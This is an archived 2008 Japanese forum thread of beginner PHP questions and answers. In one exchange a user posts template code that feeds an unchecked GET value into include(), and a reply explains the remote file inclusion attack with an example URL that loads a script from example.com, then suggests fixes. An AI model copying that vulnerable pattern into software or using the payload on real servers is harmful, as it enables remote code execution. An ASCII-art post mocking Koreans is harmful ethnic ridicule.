【PHP】下らねぇ質問はここに書き込みやがれ 71
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2008/07/17(木) 19:42:52ID:DVaNTncwPHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。
◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 70
http://pc11.2ch.net/test/read.cgi/php/1214356448/
◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
(荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)
◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0682nobodyさん
2008/08/07(木) 15:40:57ID:z7k1C/ZXとりあえずGは10億だよ
細かく説明しても分からないだろうから大雑把に言うけど(大雑把だからある意味間違ってるけど)
一秒間に30億処理できるのは、
CPUに与える命令の処理を数段階に分けたうちの一段分の処理です。
SQLで処理させるときはいろいろな命令を組み合わせているので1クロックではすみません。
0683nobodyさん
2008/08/07(木) 15:45:59ID:???結果の入出力もあるんでしょ?
0684nobodyさん
2008/08/07(木) 15:52:30ID:czWOVMJR処理件数としては>>683さんがおっしゃられるように妥当な線なんでしょうね。
分かりました。お騒がせしました。
0685nobodyさん
2008/08/07(木) 15:59:50ID:???0686本質論
2008/08/07(木) 17:18:34ID:???証券取引の電算化で、場立ちの職員は失業した。
自動改札口の登場で、切符きりの職員も失業した。
ICチップの登場で、数年後にはレジのババも失業する。
そして、自動プログラミング機の登場で、お前等も失業する。
0687nobodyさん
2008/08/07(木) 17:18:47ID:???ガタッ
「はい。立ちました」
0688nobodyさん
2008/08/07(木) 17:27:25ID:???彼はここで質問して恥をかくことで、前に進んでいるわけだから
全然オーケーでしょう。
…そのシステムを明日納品というなら話は別ですが。
0689nobodyさん
2008/08/07(木) 17:47:39ID:???作業効率がぐんと上がる
でも、生きてる間にできるだろうか・・・
0690nobodyさん
2008/08/07(木) 18:10:53ID:jtfieMzI0691nobodyさん
2008/08/07(木) 18:12:17ID:???0692nobodyさん
2008/08/07(木) 18:17:54ID:???0693nobodyさん
2008/08/07(木) 18:26:41ID:???0694nobodyさん
2008/08/07(木) 18:30:28ID:???0695nobodyさん
2008/08/07(木) 18:57:01ID:???> 証券取引の電算化で、場立ちの職員は失業した。
> 自動改札口の登場で、切符きりの職員も失業した。
> ICチップの登場で、数年後にはレジのババも失業する。
> そして、自動プログラミング機の登場で、お前等も失業する。
うーん。失業するようなのは職業の内容によって決まると思うな。
仮に同じ能力を持った人がいたとして、
二人になれば、こなせる作業の量も二倍になるという
ような内容の仕事、つまり作業内容がほぼ同じで並列実行可能な
単純作業は自動化できるから失業するんだよ。
だからこれプログラミングには当てはまらないのね。
0697nobodyさん
2008/08/07(木) 19:02:53ID:???でも、IT化によって増える単純作業もある。
たとえば、有害サイトを監視する人たち。大量の人力を投入している。
結局、仕事の内容が変わるだけ。だから、路頭に迷うのはその変化について行けない人。
つまり適者生存。自助努力で生存はできるんだよ。だから、ワーキングプアなんていう人は単に努力が足りない怠け者。
0698nobodyさん
2008/08/07(木) 19:13:06ID:???0699nobodyさん
2008/08/07(木) 19:29:18ID:???半分の期間で一本つくるとかは無理だけどさ
0700nobodyさん
2008/08/07(木) 19:52:55ID:nCGT/HD5freadなどによる読み込み処理は基本的にアトミックでしょうか?非アトミックでしょうか?
fwriteに関してはマニュアルに書いてあるのですが、読み込み系の関数については書いてなく、またそれに触れた記述のあるサイトも見つからないので困っています。
どなたかわかるかたいたらよろしくお願いします。
0701nobodyさん
2008/08/07(木) 19:54:15ID:???0702nobodyさん
2008/08/07(木) 20:23:41ID:???ソフトってのは数をたくさん作るものじゃないからね。
一つのソフトを分業してつくる。
そしてなにより、同じものは作らないのよ。
0703nobodyさん
2008/08/07(木) 20:26:54ID:0HdcDnNYなに当たり前なこといってんの?w
0704nobodyさん
2008/08/07(木) 20:28:45ID:???\ ∧_∧ ∩ ./∧∧ つ<`∀´∧_∧∧_∧∧∧*`∀´>∧_∧
\ < `∀´>ノ______ /∧∧ |\ ∧ `∀´ >∧_∧∧_∧∧_∧∧∀´>
キム!∧ ∧.\ (入 ⌒\フ /| ./<`Д´>| \ _人_人_从_人ノヽ_人_人_ ∧∧_∧
<`∀´ >_\ ヾヽ /\⌒フ/ | /∧_∧) て`Д´>`∀´>
/ ̄ ̄∪ ∪ /| .\ || ⌒| ̄ ̄ ̄| / ∧∧´ >) キ・ム!! キ・ム!! ( ∧_∧
/∧_∧ホルホルホル \ ∧∧∧∧ ./ `Д´> ) (<`Д´# >
/ < `∀´>_/ \ < ま >∧_∧ ⌒Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒.∧∧∧_∧
|| ̄( つ ||/ \< た >∧_∧∧_∧< `∀´ >∩∧_∧<`Д´.<`Д´∧_∧
|| <_○___> || < キ >∧ ∧ <`∀´*∧_∧∧_∧`∀´>O∧_∧∧∧.∧
――――――――――――――― .< ム >―――――――――――――――――――――
∧_∧キムを呼べ! < か > ∧_∧ ∧_∧
~~・━⊂<`∀´#>⊃-、 ∨∨∨ \ < `∀´> <`∀´ > ←キム
/// ノ:: //| ./ はい\ ( ↑キム)_( )
|:::|/< ̄ ヽノ:::::::|::::|/| / ∧_∧キ\∧_∧ ∧_∧  ̄ ̄ ̄/.//|
/ ̄<__> ̄ ̄ ./| | .| /γ(⌒) `∀´ >ム \`∀´> < `∀´> / ┃| |
/ ∧_∧ 三// |__|/ /(YYて)ノ ノ 君 \↑キム ↑\)_/ |__|/
キム→ < ;>はいニダ / \  ̄ ̄ ̄ ̄\ !! \ キム | | ┃. __
0706700
2008/08/07(木) 20:47:58ID:nCGT/HD5ありがとうございます
0707nobodyさん
2008/08/07(木) 20:49:27ID:0HdcDnNYお前のとこは一度に一本しか開発せんのか?
0708nobodyさん
2008/08/07(木) 21:17:08ID:???他のやったほうがいいのかな
0709nobodyさん
2008/08/07(木) 21:18:03ID:???0710700
2008/08/07(木) 22:27:04ID:nCGT/HD5すいません今試してみたら非アトミックみたいですね
ていうか最初から自分で試せばよかったですねすいません
0711nobodyさん
2008/08/07(木) 22:27:23ID:???0712nobodyさん
2008/08/07(木) 23:19:09ID:???0713nobodyさん
2008/08/07(木) 23:42:16ID:???0714nobodyさん
2008/08/08(金) 00:03:37ID:LL9yeWvg0716714
2008/08/08(金) 01:06:33ID:BmBMQdVohttp://creatr.cc/creatr/
先ほどは携帯からで情報量が少なくすみませんでした。
上記URLのようなスクリプトを作成するにはどのようにすればよいでしょうか?
GDやImageMagicというようなものを使えばできますか?
また、できるならば処理の流れや参考になるサイトなどを教えて下さい。
お願いします。
PHP
0717nobodyさん
2008/08/08(金) 01:45:54ID:???http://jp.php.net/gd
http://jp2.php.net/imagick
http://pecl.php.net/package/imagick
0718nobodyさん
2008/08/08(金) 01:46:15ID:???処理の流れとしてはsubmitしたときにセッションIDを割り付けてユニークなURLをつくり
JavaScriptのXMLHttpRequestでセッションIDを投げる。
受けるほうはXMLHttpRequestでlistenしなくてもimgタグのsrcを変更すればすむな。
0720nobodyさん
2008/08/08(金) 15:00:01ID:???0721nobodyさん
2008/08/08(金) 15:56:19ID:???拡張子を含んだ文字列であり、空白や<br>が来るまでを抽出したいのですが
その拡張子が不定なため、
"files_[A-Za-z]+\..+ "など試しています。
しかしこの場合は空白も持っていかれてしまい結果がくるってしまいます。
空白や<br>特定の文字を抽出し、しかし空白や<br>はパターンにハマらないようにするには
どのようにしたらよいでしょうか。
0722nobodyさん
2008/08/08(金) 15:57:09ID:5aObnylFIDをだし忘れました>721です
0723nobodyさん
2008/08/08(金) 16:26:17ID:EUK3hcbO拡張子という事を考えると締めの部分を
\.[0-9A-Za-z]+
とすればでうまく出来そうですね
失礼しました
0724nobodyさん
2008/08/08(金) 21:06:31ID:vetvuCDPのようにパラメータもたせて
<?php
$saba = $_GET[saba];
if($saba == ""){
$saba = 1;
}
switch ($saba){
case 1; $file = "PHP"; break;
case 2; $file = "RERL"; break;
}
html部分
include("$file.php");
<img scr="$file.gif">
html部分
?>
のようにテンプレ表示させるものを組みました。
脆弱性があったらしくサーバを不正利用されてしまいました。
自分で考えてみて
・switchにdefaultをいれなかった
・一部にパーミッションの設定を忘れた(これは直しました)
・.htaccessでindexなしはエラーになるようにしてるのでindex.htmlを作らなかった
など思いついたのですが、自分で気づいていないだけで悪い部分があるのでしょうか?
0725nobodyさん
2008/08/08(金) 21:40:42ID:???詳しく
0726nobodyさん
2008/08/08(金) 21:44:20ID:vetvuCDPいつの間にやら変なファイルがアップされてました。(自分のファイルではありません)
ちなみにファイルアップロード機能はつけてません。
0727nobodyさん
2008/08/08(金) 22:18:36ID:???外してるかもしれないけど、
>・switchにdefaultをいれなかった
register_globalsがonで
allow_url_opnもonだと
やられちゃうね
http://www.2ch.net/2ch.php?saba=3&file=http://www.example.com/crack-php-script.txt
とかで任意のスクリプトが>>724のサーバー上で実行できる
switch文のdefaultは当然書くとして、
register_globalsはoffに、
includeしてるファイルは動的なコンテンツ?
静的な(ただのhtmlファイル)にして
echo file_get_contents("$file.html");
に出来ないのかな?
0728nobodyさん
2008/08/08(金) 22:44:37ID:???書き忘れていました(すみません)がレンタルサーバなのでiniファイルの確認ができません。
defaultを付け加えるのとecho file_get_contents("$file.html")で作り直して
register_globalsについては問い合わせてみます。
ありがとうございました。
0730nobodyさん
2008/08/08(金) 22:51:05ID:4kmu6RVlサーバー側で処理している際に進捗状況を表示させるサイトがありますが、
あれって、phpでどうやるのでしょうか?
画面が変わらずに進捗バーだけが変わる処理って、
設計すら想像ができないのですが、
キーワードだけでもいいので、教えて頂けませんか?
0731nobodyさん
2008/08/08(金) 22:51:23ID:???250-localhost
250-PIPELINING
250 8BITMIME
なんて返ってくると思います。
ストリームを開いた後fgets()を2回実行すれば2回目で「250-PIPELINING」が取れるかと思いきや、
反応が返ってきません。(1行目は返ってくる)
どうやれば2行目を取得できるのでしょうか。
0732700
2008/08/08(金) 22:51:35ID:+1/Xusuf今度は書き込みに関して、書き込むデータのサイズが1バイトである場合にはアトミックであることが保障されますか?
アトミックでないことを確認するのは簡単なんですが、アトミックであることを確認するのは難しく困っております。
どなたかわかるかたよろしくお願いします。
0734nobodyさん
2008/08/08(金) 23:57:15ID:fWWc32nmデータベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。
開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0735nobodyさん
2008/08/08(金) 23:59:58ID:???0737nobodyさん
2008/08/09(土) 00:01:42ID:I6AK6Cojデータベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。
開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0738nobodyさん
2008/08/09(土) 05:37:49ID:???課長、部長は要らないんですよ。
天才的なエンジニアが一人いて、
それを補佐する秘書役が数人要ればいいんです。
いすに座って、前時代的な価値観で決済する課長や部長に何の価値がありますか?
0739nobodyさん
2008/08/09(土) 07:16:36ID:???0740nobodyさん
2008/08/09(土) 07:32:00ID:???お前馬鹿だなw
堀江も元々はエンジニアだったんだよ。
途中から、お金に目がくらんで買収の道に進んじゃったが。
0741nobodyさん
2008/08/09(土) 08:30:24ID:???堀江は経営者であって技術者ではない
元々って経歴も調べずに適当なことをいうな
東大在学中にベンチャー起業して中退したんだろ
東大に入ったのも人脈を作るためだけ(テレビでそう語ってる)
仮に堀江がエンジニアだったとしてもエンジニア時代に秘書とかつくわけなかろう
0742nobodyさん
2008/08/09(土) 08:46:05ID:CO+6pVsH文字数制限最大10文字でフォーム入力を受け付けて、sqlでのカラムの最大文字数も
10文字を設定しているとき、「"12345678"」という入力値を入れられた場合、
クエリ直前でaddslashes()したら実際の送信値は\"123456789\"となりSQL側での
文字数制限はオーバーしてしまいエラーになります。
この問題はどうクリアしたらいいんでしょう?
送信前の文字数チェックの段階ではSQLでの文字数制限の2倍まで許可すればいいんでしょうか?
0743nobodyさん
2008/08/09(土) 08:55:30ID:???カラムのサイズを大きくするなり、
POSTされてきたデータを正しく処理してから、
格納すれば良いだけの話。
0744nobodyさん
2008/08/09(土) 08:55:52ID:???0745nobodyさん
2008/08/09(土) 12:44:04ID:???これだから馬鹿は・・・ペラの資料で読んだことが全てだとでも?
実際エッジ時代の堀江は技術者でもあったんだよ。
てゆーか弱小ベンチャーに専任技術者なんているわけないだろ。
人なんていないんだから、社長だからって経営だけしてりゃいいってもんじゃないんだよ。
営業やら開発やら、果ては使いっぱにやらせるようなことまで全部やるんだよ。
0746nobodyさん
2008/08/09(土) 13:07:01ID:???ベンチャーといっても1人でやるわけないだろ。
兄弟でやっている会社で兄は営業、弟は開発っていうところも知っている。
本当に全部やるのは個人でやっているやつだけ。
妄想を語るのは構わないがスレ違いなのに気づいてくれ。
0747nobodyさん
2008/08/09(土) 13:40:42ID:???0749nobodyさん
2008/08/09(土) 13:59:22ID:???0750nobodyさん
2008/08/09(土) 16:18:34ID:dbZpQNfP勝手に作られてしまいました。
アンインストールしてもこれらのディレクトリとファイルがのこってしまってるのですが削除するには
どうすればいいのでしょうか?
話によるとPHPスクリプトなどで削除するしかないらしいとのことですが、こうしたディレクトリとファイルを
削除するスクリプトなどがあるようでしたた教えて頂けませんか?
0752nobodyさん
2008/08/09(土) 17:03:18ID:???rmdir
unlink
PHP関数を知りたいんじゃなくて制作依頼なら、ここは自分で作りたい人のスレなのでどこか別スレへ
0753nobodyさん
2008/08/09(土) 17:47:25ID:???どうもありがとうございます。
適当に↓のようにやったらできました。
$files = glob( "dir/*" );
foreach( $files as $file ){
unlink($file);
}
rmdir( "dir" );
0754nobodyさん
2008/08/09(土) 18:21:46ID:q0bTOCvY勝手に作られてしまいました。
ファイルを削除するPHPスクリプトを使って削除しましたが、
あるPHPスクリプトで作ったファイルの所有者がapacheになるってことは
同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?
ファイルを削除するPHPスクリプトを使って自分のファイルを削除しましたが、
パスを変えれば、他人のスクリプトも削除できるってことじゃないですか?
0755nobodyさん
2008/08/09(土) 18:22:51ID:???0756nobodyさん
2008/08/09(土) 19:00:16ID:q0bTOCvYでも他人がやるかもしれませんよね?
0757nobodyさん
2008/08/09(土) 19:01:01ID:???0758nobodyさん
2008/08/09(土) 19:12:07ID:z9jw78px同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?
所有権はphpで自由に変更できるから、必ずしも所有権がapacheになるわけではない
HomeディレクトリはUnix権限が絡むから単純に所有権がapacheでも削除できないと思う
/var/www/html で共有してるなら別かもしれないけど
0759nobodyさん
2008/08/09(土) 19:18:53ID:ldipYcThhttpレスポンスをキャプチャしたものをコピペして
echoで出力してみたんだけど、サーバーにヘッダを
つけられててnphとして動いていないみたいです。
何かphpとかIISとかに設定が必要なんでしょうか?
何のためにそんなことしてるのかというと、ちょっと
したテストなので気にしないで下さい。
0760nobodyさん
2008/08/09(土) 19:21:28ID:???nphって鯖を介さないのが前提だからapacheモジュールだと機能しないんじゃね?
0761nobodyさん
2008/08/09(土) 20:57:40ID:???IISって書いてあるけど?
0762nobodyさん
2008/08/09(土) 23:05:38ID:CO+6pVsHphpでプログラムを書いていたら、動かすときにやたら時間がかかります。
機能としては、履歴書の項目をDBに登録・引き出してフォームにプリセット・そこからダイレクトに編集と保存
ってくらいのものです。(一度に操作されるカラムは最大で70個、全部同じテーブル) それで、
・動かし始めてしばらくの間はサクサク動く、登録もデータ引き出しも再登録もサクサク
・しばらくブラウザを閉じずにいじってると遅くなる。画面にフォームが映るまで20秒とか、酷いときは30秒でタイムアウト。
これって、何が原因なんでしょう? 根本的にはソースを見せなきゃわからないとは思いますが、
それは無理なんですが、、マシンが遅いとかありえるでしょうか?
プログラムそのものが悪いなら、最初だけサクサク動くっていうのがわかりません
しばらく時間が経つ(何度かページ移動を繰り返す)と処理が遅くなるという条件の場合、
どういった原因の可能性が考えられるでしょうか? 無茶な質問ですみません
php5 apache2 mysql5 winXP Pen3-900Mhzのマシンで動かしてます
0763nobodyさん
2008/08/09(土) 23:10:23ID:???>phpでプログラムを書いていたら、動かすときにやたら時間がかかります。
自分で答えだしてますがな
>php5 apache2 mysql5 winXP Pen3-900Mhzのマシンで動かしてます
0764nobodyさん
2008/08/09(土) 23:15:18ID:???ブラウザ閉じたて開きなおしたら動作は戻るの?
そうならブラウザとかクライアント環境の問題だと思うが。
もしくはセッションデータが異常に巨大化してるとか、コネクションプールがおかしくなってるとか。
0765nobodyさん
2008/08/09(土) 23:33:58ID:???0766762
2008/08/09(土) 23:43:16ID:CO+6pVsHありがとうございます やっぱりスペックがしょぼ過ぎるのかなぁ
平行してフォトショとか動かしまくってます(メモリは512)
セッションデータが巨大化してるっていうのは考えても見ませんでした
確認します echo $_SESSION;でいいのかな? また質問するかもしれませんが
よろしくお願いします
0767nobodyさん
2008/08/09(土) 23:49:57ID:???0768nobodyさん
2008/08/10(日) 01:54:05ID:???このサイトのプログラムを丸々コピー、bbs.phpとしてサーバーにアップロードしてみたのですが、入力フォームだけ表示されて、後はメッセージを送信しても何の返答もありません。
これはこのサイトのプログラムが間違っているのでしょうか?それともこちら側に問題があるのでしょうか?
エラーメッセージも表示されない為、何がなんだか分からなくなってしまいました。
サーバーはさくらインターネットプレミアム、PHPのバージョンはPHP 5.2.6です。
設定等は一切弄っておりません。
0769nobodyさん
2008/08/10(日) 01:55:28ID:???0770768
2008/08/10(日) 01:56:00ID:z5q4t0dAID出し忘れました。
0771nobodyさん
2008/08/10(日) 01:59:10ID:???そうなんですか
phpをはじめたのはこれが始めてでよくわからないのですが、php4とphp5では大幅な仕様変更がされていると言うことでしょうか?
だとしたら、php4の講座は使い物になりませんよね・・
0773nobodyさん
2008/08/10(日) 02:08:33ID:z5q4t0dAphp5向けの講座を探してみます
ありがとうございました。
0774nobodyさん
2008/08/10(日) 03:28:06ID:c6gQIYUSでも指定したディレクトリ消そうとするとキャッシュファイルが存在してる
なんで?
PHP5
サーバ:さくら
0775nobodyさん
2008/08/10(日) 03:51:01ID:???0776nobodyさん
2008/08/10(日) 04:18:01ID:c6gQIYUSキャッシュ収納用に指定したディレクトリのパーミッションは777に設定。
ディレクトリが見た目が空状態なんでディレクトリを消そうとすると
Cache_ごにょごにょファイルが存在しているって表示される
理由分かる人お願いします
■ このスレッドは過去ログ倉庫に格納されています